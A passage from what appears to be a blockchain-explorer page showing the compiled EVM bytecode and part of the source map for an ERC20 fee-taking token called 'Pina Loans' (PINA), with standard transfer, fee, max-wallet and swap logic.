565b5f6004555b6001600160a01b0383165f90815260176020526040902054610e3a90826109b3565b6001600160a01b0384165f90815260176020908152604080832093909355601990529081205460ff1615610e6e5781610e79565b610e79848484611173565b6001600160a01b0384165f90815260176020526040902054909150610e9e9082610f40565b6001600160a01b038085165f8181526017602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ef19085815260200190565b60405180910390a350505050565b5f8184841115610f225760405162461bcd60e51b815260040161054d91906114e8565b505050900390565b5f61051d82846116ce565b5f61051d82846116e5565b5f61051d82846116bb565b601354601254305f9081526017602052604081205460055491938510159211159060ff16158015610f855750601654600160a81b900460ff165b8015610f9a5750601654600160a01b900460ff165b8015610fa35750815b8015610fc757506001600160a01b0386165f9081526019602052604090205460ff16155b8015610fe057506003546001600160a01b038681169116145b8015610ff0575060065460045410155b8015610ff95750805b9695505050505050565b6005805460ff191660019081179091556009546008546007545f9361103c93600293610684939192611036928391610f40565b90610f40565b90505f6110588261061d60075486610f2a90919063ffffffff16565b90505f61106584836109b3565b9050476110718261129d565b5f61107c47836109b3565b90505f61109e611097600754886109b390919063ffffffff16565b8390610f35565b90505f6110b660075483610f2a90919063ffffffff16565b905080156110c8576110c886826113ed565b6008545f906110dc90610684856002610f2a565b9050801561111d576015546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561111b573d5f803e3d5ffd5b505b47801561115d576014546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561115b573d5f803e3d5ffd5b505b50506005805460ff191690555050505050505050565b6001600160a01b0382165f9081526019602052604081205460ff161561119c5750600f5461051d565b5f6111a7858561149e565b1115611296575f6111c96111bb868661149e565b600e54610684908690610f35565b305f908152601760205260409020549091506111e59082610f40565b305f81815260176020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112359085815260200190565b60405180910390a35f600a541180156112585750600a54611256868661149e565b115b15611284576112843061dead61127f600a54610684600e5489610f3590919063ffffffff16565b6109be565b61128e83826109b3565b91505061051d565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106112d0576112d0611704565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611327573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134b9190611718565b8160018151811061135e5761135e611704565b6001600160a01b0392831660209182029290920101526002546113849130911684610890565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bc9085905f90869030904290600401611733565b5f604051808303815f87803b1580156113d3575f80fd5b505af11580156113e5573d5f803e3d5ffd5b505050505050565b6002546114059030906001600160a01b031684610890565b60025460165460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611472573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061149791906117a2565b5050505050565b6003545f906001600160a01b03908116908316036114bf5750600c54610446565b6003546001600160a01b03908116908416036114de5750600b54610446565b50600d5492915050565b5f6020808352835180828501525f5b81811015611513578581018301518582016040015282016114f7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611547575f80fd5b50565b5f806040838503121561155b575f80fd5b823561156681611533565b946020939093013593505050565b5f805f60608486031215611586575f80fd5b833561159181611533565b925060208401356115a181611533565b929592945050506040919091013590565b5f602082840312156115c2575f80fd5b813561051d81611533565b5f805f606084860312156115df575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a03121561160c575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f806040838503121561164e575f80fd5b823561165981611533565b9150602083013561166981611533565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561044657610446611694565b8082018082111561044657610446611694565b808202811582820484141761044657610446611694565b5f826116ff57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611728575f80fd5b815161051d81611533565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117815784516001600160a01b03168352938301939183019160010161175c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156117b4575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207116f24e34ca014b103b10622d0e5186203a5df3fd10ac36b0d3d13ec6cd9fa964736f6c63430008150033

Deployed Bytecode

0x608060405260043610610129575f3560e01c8063715018a6116100a8578063a8aa1b311161006d578063a8aa1b3114610361578063a9059cbb14610380578063c958e6e61461039f578063cb7f97d7146103b4578063dd62ed3e146103d3578063f2fde38b14610417575f80fd5b8063715018a6146102a45780637fef6789146102b8578063893d20e8146102e657806395d89b41146103165780639cc3535114610342575f80fd5b80632f54bf6e116100ee5780632f54bf6e146101fe578063304db4231461022b578063313ce5671461024057806357b074e11461025b57806370a0823114610270575f80fd5b806306fdde0314610134578063095ea7b31461017857806318160ddd146101a757806323b872dd146101c9578063293230b8146101e8575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600a81526950696e61204c6f616e7360b01b60208201525b60405161016f91906114e8565b60405180910390f35b348015610183575f80fd5b5061019761019236600461154a565b610436565b604051901515815260200161016f565b3480156101b2575f80fd5b506101bb61044c565b60405190815260200161016f565b3480156101d4575f80fd5b506101976101e3366004611574565b6104bc565b3480156101f3575f80fd5b506101fc610524565b005b348015610209575f80fd5b506101976102183660046115b2565b5f546001600160a01b0391821691161490565b348015610236575f80fd5b506101bb60115481565b34801561024b575f80fd5b506040516009815260200161016f565b348015610266575f80fd5b506101bb600f5481565b34801561027b575f80fd5b506101bb61028a3660046115b2565b6001600160a01b03165f9081526017602052604090205490565b3480156102af575f80fd5b506101fc61056b565b3480156102c3575f80fd5b506101976102d23660046115b2565b60196020525f908152604090205460ff1681565b3480156102f1575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016f565b348015610321575f80fd5b5060408051808201909152600481526350494e4160e01b6020820152610162565b34801561034d575f80fd5b506101fc61035c3660046115cd565b6105d8565b34801561036c575f80fd5b506003546102fe906001600160a01b031681565b34801561038b575f80fd5b5061019761039a36600461154a565b610714565b3480156103aa575f80fd5b506101bb60105481565b3480156103bf575f80fd5b506101fc6103ce3660046115f6565b610720565b3480156103de575f80fd5b506101bb6103ed36600461163d565b6001600160a01b039182165f90815260186020908152604080832093909416825291909152205490565b348015610422575f80fd5b506101fc6104313660046115b2565b610814565b5f610442338484610890565b5060015b92915050565b60176020527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b5461dead5f9081527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b03035460015491926104b79290916104b191906109b3565b906109b3565b905090565b5f6104c88484846109be565b6105198433610514856040518060600160405280602881526020016117ce602891396001600160a01b038a165f9081526018602090815260408083203384529091529020549190610eff565b610890565b5060015b9392505050565b5f546001600160a01b031633146105565760405162461bcd60e51b815260040161054d90611674565b60405180910390fd5b6016805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146105945760405162461bcd60e51b815260040161054d90611674565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106015760405162461bcd60e51b815260040161054d90611674565b5f61062361271061061d86600154610f2a90919063ffffffff16565b90610f35565b90505f61064161271061061d86600154610f2a90919063ffffffff16565b90505f61065f61271061061d86600154610f2a90919063ffffffff16565b600f8490556010839055601181905590505f61068a6103e861061d600561068461044c565b90610f2a565b905080841015801561069c5750808310155b80156106a85750808210155b61070b5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161054d565b50505050505050565b5f6104423384846109be565b5f546001600160a01b031633146107495760405162461bcd60e51b815260040161054d90611674565b60078790556008869055600a8590556009849055600b839055600c829055600d819055600e5461077a906001610f35565b600b541115801561079a5750600e54610794906001610f35565b600c5411155b80156107b55750600e546107af906001610f35565b600d5411155b61070b5760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b606482015260840161054d565b5f546001600160a01b0316331461083d5760405162461bcd60e51b815260040161054d90611674565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108f25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054d565b6001600160a01b0382166109535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054d565b6001600160a01b038381165f8181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61051d82846116a8565b6001600160a01b038316610a225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054d565b6001600160a01b038216610a845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054d565b6001600160a01b0383165f90815260176020526040902054811115610b055760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161054d565b6001600160a01b0383165f9081526019602052604090205460ff16158015610b4557506001600160a01b0382165f9081526019602052604090205460ff16155b15610b9457601654600160a01b900460ff16610b945760405162461bcd60e51b815260206004820152600e60248201526d7374617274656454726164696e6760901b604482015260640161054d565b6001600160a01b0383165f9081526019602052604090205460ff16158015610bd457506001600160a01b0382165f9081526019602052604090205460ff16155b8015610bee57506003546001600160a01b03838116911614155b8015610c0557506001600160a01b03821661dead14155b15610c7d576011546001600160a01b0383165f90815260176020526040902054610c2f9083610f40565b1115610c7d5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161054d565b6003546001600160a01b03848116911614610d1c5760105481111580610cba57506001600160a01b0383165f9081526019602052604090205460ff165b80610cdc57506001600160a01b0382165f9081526019602052604090205460ff165b610d1c5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054d565b600f5481111580610d4457506001600160a01b0383165f9081526019602052604090205460ff165b80610d6657506001600160a01b0382165f9081526019602052604090205460ff165b610da65760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054d565b6003546001600160a01b038381169116148015610ddb57506001600160a01b0383165f9081526019602052604090205460ff16155b15610df857600160045f828254610df291906116bb565b90915550505b610e03838383610f4b565b15610e1857610e13601254611003565b5f6004555b6001600160a01b0383165f90815260176020526040902054610e3a90826109b3565b6001600160a01b0384165f90815260176020908152604080832093909355601990529081205460ff1615610e6e5781610e79565b610e79848484611173565b6001600160a01b0384165f90815260176020526040902054909150610e9e9082610f40565b6001600160a01b038085165f8181526017602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ef19085815260200190565b60405180910390a350505050565b5f8184841115610f225760405162461bcd60e51b815260040161054d91906114e8565b505050900390565b5f61051d82846116ce565b5f61051d82846116e5565b5f61051d82846116bb565b601354601254305f9081526017602052604081205460055491938510159211159060ff16158015610f855750601654600160a81b900460ff165b8015610f9a5750601654600160a01b900460ff165b8015610fa35750815b8015610fc757506001600160a01b0386165f9081526019602052604090205460ff16155b8015610fe057506003546001600160a01b038681169116145b8015610ff0575060065460045410155b8015610ff95750805b9695505050505050565b6005805460ff191660019081179091556009546008546007545f9361103c93600293610684939192611036928391610f40565b90610f40565b90505f6110588261061d60075486610f2a90919063ffffffff16565b90505f61106584836109b3565b9050476110718261129d565b5f61107c47836109b3565b90505f61109e611097600754886109b390919063ffffffff16565b8390610f35565b90505f6110b660075483610f2a90919063ffffffff16565b905080156110c8576110c886826113ed565b6008545f906110dc90610684856002610f2a565b9050801561111d576015546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561111b573d5f803e3d5ffd5b505b47801561115d576014546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561115b573d5f803e3d5ffd5b505b50506005805460ff191690555050505050505050565b6001600160a01b0382165f9081526019602052604081205460ff161561119c5750600f5461051d565b5f6111a7858561149e565b1115611296575f6111c96111bb868661149e565b600e54610684908690610f35565b305f908152601760205260409020549091506111e59082610f40565b305f81815260176020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112359085815260200190565b60405180910390a35f600a541180156112585750600a54611256868661149e565b115b15611284576112843061dead61127f600a54610684600e5489610f3590919063ffffffff16565b6109be565b61128e83826109b3565b91505061051d565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106112d0576112d0611704565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611327573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134b9190611718565b8160018151811061135e5761135e611704565b6001600160a01b0392831660209182029290920101526002546113849130911684610890565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bc9085905f90869030904290600401611733565b5f604051808303815f87803b1580156113d3575f80fd5b505af11580156113e5573d5f803e3d5ffd5b505050505050565b6002546114059030906001600160a01b031684610890565b60025460165460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611472573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061149791906117a2565b5050505050565b6003545f906001600160a01b03908116908316036114bf5750600c54610446565b6003546001600160a01b03908116908416036114de5750600b54610446565b50600d5492915050565b5f6020808352835180828501525f5b81811015611513578581018301518582016040015282016114f7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611547575f80fd5b50565b5f806040838503121561155b575f80fd5b823561156681611533565b946020939093013593505050565b5f805f60608486031215611586575f80fd5b833561159181611533565b925060208401356115a181611533565b929592945050506040919091013590565b5f602082840312156115c2575f80fd5b813561051d81611533565b5f805f606084860312156115df575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a03121561160c575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f806040838503121561164e575f80fd5b823561165981611533565b9150602083013561166981611533565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561044657610446611694565b8082018082111561044657610446611694565b808202811582820484141761044657610446611694565b5f826116ff57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611728575f80fd5b815161051d81611533565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117815784516001600160a01b03168352938301939183019160010161175c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156117b4575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207116f24e34ca014b103b10622d0e5186203a5df3fd10ac36b0d3d13ec6cd9fa964736f6c63430008150033

Deployed Bytecode Sourcemap

3858:9723:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6187:67;;;;;;;;;;-1:-1:-1;6247:5:0;;;;;;;;;;;;-1:-1:-1;;;6247:5:0;;;;6187:67;;;;;;;:::i;:::-;;;;;;;;7092:133;;;;;;;;;;-1:-1:-1;7092:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7092:133:0;1023:187:1;6881:132:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6881:132:0;1215:177:1;7580:309:0;;;;;;;;;;-1:-1:-1;7580:309:0;;;;;:::i;:::-;;:::i;7019:67::-;;;;;;;;;;;;;:::i;:::-;;534:87;;;;;;;;;;-1:-1:-1;534:87:0;;;;;:::i;:::-;589:4;614:5;-1:-1:-1;;;;;603:16:0;;;614:5;;603:16;;534:87;4727:60;;;;;;;;;;;;;;;;6337:67;;;;;;;;;;-1:-1:-1;6337:67:0;;3968:1;2252:36:1;;2240:2;2225:18;6337:67:0;2110:184:1;4602:55:0;;;;;;;;;;;;;;;;6772:103;;;;;;;;;;-1:-1:-1;6772:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;6855:18:0;6838:7;6855:18;;;:9;:18;;;;;;;6772:103;627:108;;;;;;;;;;;;;:::i;5469:46::-;;;;;;;;;;-1:-1:-1;5469:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6555:78;;;;;;;;;;-1:-1:-1;6607:7:0;6625:5;-1:-1:-1;;;;;6625:5:0;6555:78;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;6555:78:0;2299:203:1;6260:71:0;;;;;;;;;;-1:-1:-1;6322:7:0;;;;;;;;;;;;-1:-1:-1;;;6322:7:0;;;;6260:71;;10914:542;;;;;;;;;;-1:-1:-1;10914:542:0;;;;;:::i;:::-;;:::i;4167:19::-;;;;;;;;;;-1:-1:-1;4167:19:0;;;;-1:-1:-1;;;;;4167:19:0;;;6410:139;;;;;;;;;;-1:-1:-1;6410:139:0;;;;;:::i;:::-;;:::i;4664:56::-;;;;;;;;;;;;;;;;9985:519;;;;;;;;;;-1:-1:-1;9985:519:0;;;;;:::i;:::-;;:::i;6639:127::-;;;;;;;;;;-1:-1:-1;6639:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6737:18:0;;;6720:7;6737:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6639:127;741:111;;;;;;;;;;-1:-1:-1;741:111:0;;;;;:::i;:::-;;:::i;7092:133::-;7167:4;7174:37;7183:10;7195:7;7204:6;7174:8;:37::i;:::-;-1:-1:-1;7219:4:0;7092:133;;;;;:::o;6881:132::-;6855:9;:18;;;;5215:42;6934:7;6855:18;;;;;6951:12;;6934:7;;6951:60;;6855:18;;6951:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;6944:67;;6881:132;:::o;7580:309::-;7678:4;7695:36;7705:6;7713:9;7724:6;7695:9;:36::i;:::-;7742:117;7751:6;7759:10;7771:87;7807:6;7771:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7771:19:0;;;;;;:11;:19;;;;;;;;7791:10;7771:31;;;;;;;;;:87;:35;:87::i;:::-;7742:8;:117::i;:::-;-1:-1:-1;7877:4:0;7580:309;;;;;;:::o;7019:67::-;589:4;614:5;-1:-1:-1;;;;;614:5:0;501:10;603:16;485:38;;;;-1:-1:-1;;;485:38:0;;;;;;;:::i;:::-;;;;;;;;;7063:14:::1;:21:::0;;-1:-1:-1;;;;7063:21:0::1;-1:-1:-1::0;;;7063:21:0::1;::::0;;7019:67::o;627:108::-;589:4;614:5;-1:-1:-1;;;;;614:5:0;501:10;603:16;485:38;;;;-1:-1:-1;;;485:38:0;;;;;;;:::i;:::-;692:1:::1;676:18:::0;;-1:-1:-1;;;;;;676:18:0::1;::::0;;701:32:::1;::::0;2445:51:1;;;701:32:0::1;::::0;2433:2:1;2418:18;701:32:0::1;;;;;;;627:108::o:0;10914:542::-;589:4;614:5;-1:-1:-1;;;;;614:5:0;501:10;603:16;485:38;;;;-1:-1:-1;;;485:38:0;;;;;;;:::i;:::-;11020:13:::1;11036:33;11063:5;11036:22;11053:4;11036:12;;:16;;:22;;;;:::i;:::-;:26:::0;::::1;:33::i;:::-;11020:49;;11071:19;11093:34;11121:5;11093:23;11110:5;11093:12;;:16;;:23;;;;:::i;:34::-;11071:56;;11129:17;11149:36;11179:5;11149:25;11166:7;11149:12;;:16;;:25;;;;:::i;:36::-;11196:7;:15:::0;;;11213:8:::1;:22:::0;;;11237:12:::1;:24:::0;;;11129:56;-1:-1:-1;;11288:30:0::1;11313:4;11288:20;11306:1;11288:13;:11;:13::i;:::-;:17:::0;::::1;:20::i;:30::-;11272:46;;11346:5;11337;:14;;:38;;;;;11370:5;11355:11;:20;;11337:38;:60;;;;;11392:5;11379:9;:18;;11337:60;11329:119;;;::::0;-1:-1:-1;;;11329:119:0;;4614:2:1;11329:119:0::1;::::0;::::1;4596:21:1::0;4653:2;4633:18;;;4626:30;4692:34;4672:18;;;4665:62;-1:-1:-1;;;4743:18:1;;;4736:44;4797:19;;11329:119:0::1;4412:410:1::0;11329:119:0::1;11009:447;;;;10914:542:::0;;;:::o;6410:139::-;6488:4;6495:40;6505:10;6517:9;6528:6;6495:9;:40::i;9985:519::-;589:4;614:5;-1:-1:-1;;;;;614:5:0;501:10;603:16;485:38;;;;-1:-1:-1;;;485:38:0;;;;;;;:::i;:::-;10175:9:::1;:22:::0;;;10199:16:::1;:29:::0;;;10230:11:::1;:19:::0;;;10251:10:::1;:25:::0;;;10278:6:::1;:15:::0;;;10295:7:::1;:15:::0;;;10312:11:::1;:20:::0;;;10361:11:::1;::::0;:18:::1;::::0;-1:-1:-1;10361:15:0::1;:18::i;:::-;10351:6;;:28;;:61;;;;-1:-1:-1::0;10394:11:0::1;::::0;:18:::1;::::0;10410:1:::1;10394:15;:18::i;:::-;10383:7;;:29;;10351:61;:98;;;;-1:-1:-1::0;10431:11:0::1;::::0;:18:::1;::::0;10447:1:::1;10431:15;:18::i;:::-;10416:11;;:33;;10351:98;10343:153;;;::::0;-1:-1:-1;;;10343:153:0;;5029:2:1;10343:153:0::1;::::0;::::1;5011:21:1::0;5068:2;5048:18;;;5041:30;5107:34;5087:18;;;5080:62;-1:-1:-1;;;5158:18:1;;;5151:40;5208:19;;10343:153:0::1;4827:406:1::0;741:111:0;589:4;614:5;-1:-1:-1;;;;;614:5:0;501:10;603:16;485:38;;;;-1:-1:-1;;;485:38:0;;;;;;;:::i;:::-;807:5:::1;:11:::0;;-1:-1:-1;;;;;;807:11:0::1;-1:-1:-1::0;;;;;807:11:0;::::1;::::0;;::::1;::::0;;;825:25:::1;::::0;2445:51:1;;;825:25:0::1;::::0;2433:2:1;2418:18;825:25:0::1;;;;;;;741:111:::0;:::o;7233:335::-;-1:-1:-1;;;;;7326:19:0;;7318:68;;;;-1:-1:-1;;;7318:68:0;;5656:2:1;7318:68:0;;;5638:21:1;5695:2;5675:18;;;5668:30;5734:34;5714:18;;;5707:62;-1:-1:-1;;;5785:18:1;;;5778:34;5829:19;;7318:68:0;5454:400:1;7318:68:0;-1:-1:-1;;;;;7405:21:0;;7397:68;;;;-1:-1:-1;;;7397:68:0;;6061:2:1;7397:68:0;;;6043:21:1;6100:2;6080:18;;;6073:30;6139:34;6119:18;;;6112:62;-1:-1:-1;;;6190:18:1;;;6183:32;6232:19;;7397:68:0;5859:398:1;7397:68:0;-1:-1:-1;;;;;7476:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7528:32;;1361:25:1;;;7528:32:0;;1334:18:1;7528:32:0;;;;;;;7233:335;;;:::o;1037:98::-;1095:7;1122:5;1126:1;1122;:5;:::i;11690:1437::-;-1:-1:-1;;;;;11787:20:0;;11779:70;;;;-1:-1:-1;;;11779:70:0;;6729:2:1;11779:70:0;;;6711:21:1;6768:2;6748:18;;;6741:30;6807:34;6787:18;;;6780:62;-1:-1:-1;;;6858:18:1;;;6851:35;6903:19;;11779:70:0;6527:401:1;11779:70:0;-1:-1:-1;;;;;11868:23:0;;11860:71;;;;-1:-1:-1;;;11860:71:0;;7135:2:1;11860:71:0;;;7117:21:1;7174:2;7154:18;;;7147:30;7213:34;7193:18;;;7186:62;-1:-1:-1;;;7264:18:1;;;7257:33;7307:19;;11860:71:0;6933:399:1;11860:71:0;-1:-1:-1;;;;;6855:18:0;;6838:7;6855:18;;;:9;:18;;;;;;11950:6;:27;;11942:88;;;;-1:-1:-1;;;11942:88:0;;7539:2:1;11942:88:0;;;7521:21:1;7578:2;7558:18;;;7551:30;7617:34;7597:18;;;7590:62;-1:-1:-1;;;7668:18:1;;;7661:47;7725:19;;11942:88:0;7337:413:1;11942:88:0;-1:-1:-1;;;;;12045:21:0;;;;;;:13;:21;;;;;;;;12044:22;:51;;;;-1:-1:-1;;;;;;12071:24:0;;;;;;:13;:24;;;;;;;;12070:25;12044:51;12041:99;;;12105:14;;-1:-1:-1;;;12105:14:0;;;;12097:41;;;;-1:-1:-1;;;12097:41:0;;7957:2:1;12097:41:0;;;7939:21:1;7996:2;7976:18;;;7969:30;-1:-1:-1;;;8015:18:1;;;8008:44;8069:18;;12097:41:0;7755:338:1;12097:41:0;-1:-1:-1;;;;;12154:21:0;;;;;;:13;:21;;;;;;;;12153:22;:51;;;;-1:-1:-1;;;;;;12180:24:0;;;;;;:13;:24;;;;;;;;12179:25;12153:51;:81;;;;-1:-1:-1;12229:4:0;;-1:-1:-1;;;;;12208:26:0;;;12229:4;;12208:26;;12153:81;:111;;;;-1:-1:-1;;;;;;12238:26:0;;5215:42;12238:26;;12153:111;12150:221;;;12322:12;;-1:-1:-1;;;;;12285:20:0;;;;;;:9;:20;;;;;;:32;;12310:6;12285:24;:32::i;:::-;12284:50;;12276:93;;;;-1:-1:-1;;;12276:93:0;;8300:2:1;12276:93:0;;;8282:21:1;8339:2;8319:18;;;8312:30;8378:32;8358:18;;;8351:60;8428:18;;12276:93:0;8098:354:1;12276:93:0;12394:4;;-1:-1:-1;;;;;12384:14:0;;;12394:4;;12384:14;12381:122;;12418:8;;12408:6;:18;;:43;;;-1:-1:-1;;;;;;12430:21:0;;;;;;:13;:21;;;;;;;;12408:43;:71;;;-1:-1:-1;;;;;;12455:24:0;;;;;;:13;:24;;;;;;;;12408:71;12400:101;;;;-1:-1:-1;;;12400:101:0;;8659:2:1;12400:101:0;;;8641:21:1;8698:2;8678:18;;;8671:30;-1:-1:-1;;;8717:18:1;;;8710:47;8774:18;;12400:101:0;8457:341:1;12400:101:0;12531:7;;12521:6;:17;;:42;;;-1:-1:-1;;;;;;12542:21:0;;;;;;:13;:21;;;;;;;;12521:42;:70;;;-1:-1:-1;;;;;;12567:24:0;;;;;;:13;:24;;;;;;;;12521:70;12513:100;;;;-1:-1:-1;;;12513:100:0;;8659:2:1;12513:100:0;;;8641:21:1;8698:2;8678:18;;;8671:30;-1:-1:-1;;;8717:18:1;;;8710:47;8774:18;;12513:100:0;8457:341:1;12513:100:0;12641:4;;-1:-1:-1;;;;;12628:17:0;;;12641:4;;12628:17;:43;;;;-1:-1:-1;;;;;;12650:21:0;;;;;;:13;:21;;;;;;;;12649:22;12628:43;12625:75;;;12696:1;12673:11;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;12625:75:0;12713:39;12726:6;12734:9;12745:6;12713:12;:39::i;:::-;12710:105;;;12754:33;12776:10;;12754:21;:33::i;:::-;12811:1;12789:11;:24;12710:105;-1:-1:-1;;;;;12845:17:0;;;;;;:9;:17;;;;;;:29;;12867:6;12845:21;:29::i;:::-;-1:-1:-1;;;;;12825:17:0;;;;;;:9;:17;;;;;;;;:49;;;;12911:13;:21;;;;;;;;12910:22;:76;;12980:6;12910:76;;;12935:42;12951:6;12959:9;12970:6;12935:15;:42::i;:::-;-1:-1:-1;;;;;13020:20:0;;;;;;:9;:20;;;;;;12885:101;;-1:-1:-1;13020:40:0;;12885:101;13020:24;:40::i;:::-;-1:-1:-1;;;;;12997:20:0;;;;;;;:9;:20;;;;;;;:63;;;;13076:43;;;;;;;;;;13104:14;1361:25:1;;1349:2;1334:18;;1215:177;13076:43:0;;;;;;;;11768:1359;11690:1437;;;:::o;1461:240::-;1581:7;1642:12;1634:6;;;;1626:29;;;;-1:-1:-1;;;1626:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1677:5:0;;;1461:240::o;1143:98::-;1201:7;1228:5;1232:1;1228;:5;:::i;1249:98::-;1307:7;1334:5;1338:1;1334;:5;:::i;931:98::-;989:7;1016:5;1020:1;1016;:5;:::i;10512:394::-;10651:10;;10722;;10712:4;10608;6855:18;;;:9;:18;;;;;;10751:6;;10608:4;;10641:20;;;;-1:-1:-1;10694:38:0;;10751:6;;10750:7;:22;;;;-1:-1:-1;10761:11:0;;-1:-1:-1;;;10761:11:0;;;;10750:22;:40;;;;-1:-1:-1;10776:14:0;;-1:-1:-1;;;10776:14:0;;;;10750:40;:52;;;;;10794:8;10750:52;:78;;;;-1:-1:-1;;;;;;10807:21:0;;;;;;:13;:21;;;;;;;;10806:22;10750:78;:99;;;;-1:-1:-1;10845:4:0;;-1:-1:-1;;;;;10832:17:0;;;10845:4;;10832:17;10750:99;:130;;;;;10868:12;;10853:11;;:27;;10750:130;:148;;;;;10884:14;10750:148;10743:155;10512:394;-1:-1:-1;;;;;;10512:394:0:o;8575:1051::-;5543:6;:13;;-1:-1:-1;;5543:13:0;5552:4;5543:13;;;;;;8717:10:::1;::::0;8695:16:::1;::::0;8674:9:::1;::::0;5543:6;;8673:63:::1;::::0;8734:1:::1;::::0;8674:54:::1;::::0;8717:10;;8674:38:::1;::::0;;;:13:::1;:16::i;:::-;:20:::0;:::